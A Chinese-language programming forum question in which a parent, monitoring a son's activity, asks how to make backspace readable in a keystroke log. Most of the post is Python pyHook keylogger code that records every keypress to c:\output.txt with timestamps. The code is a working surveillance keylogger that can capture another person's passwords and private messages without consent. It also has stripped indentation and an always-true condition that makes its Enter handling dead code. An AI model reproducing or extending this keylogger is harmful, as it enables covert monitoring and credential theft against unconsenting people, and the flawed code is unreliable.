我正在使用 pyHook 捕获关键事件以监视我儿子的网络活动,我注意到当我使用退格键时,它会以 ascii 格式写入文件,该文件在记事本中显示为一个小黑框。
有什么办法可以让我用文件中的字符替换这个黑匣子,[BACKSPACE]
或者只是退格,以便更容易阅读?
到目前为止,这是我的代码!
import win32api
import sys
import pythoncom
import pyHook
import os
from time import strftime
buffer = ''
if os.path.isfile('c:\\output.txt'):
f = open('c:\\output.txt','a')
f.write(strftime("\n\n%A, %d. %B %Y %I:%M%p\n\n"))
f.close()
else:
f = open('c:\\output.txt','w')
f.write(strftime("%A, %d. %B %Y %I:%M%p\n\n"))
f.close()
def OnKeyboardEvent(event):
if event.Ascii == 5:
sys.exit()
elif event.Ascii != 0 or 8:
keylogs = chr(event.Ascii)
elif event.Ascii == 13:
keylogs = keylogs + '\n'
else:
pass
f = open('c:\\output.txt','a')
f.write(keylogs)
f.close()
while True:
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()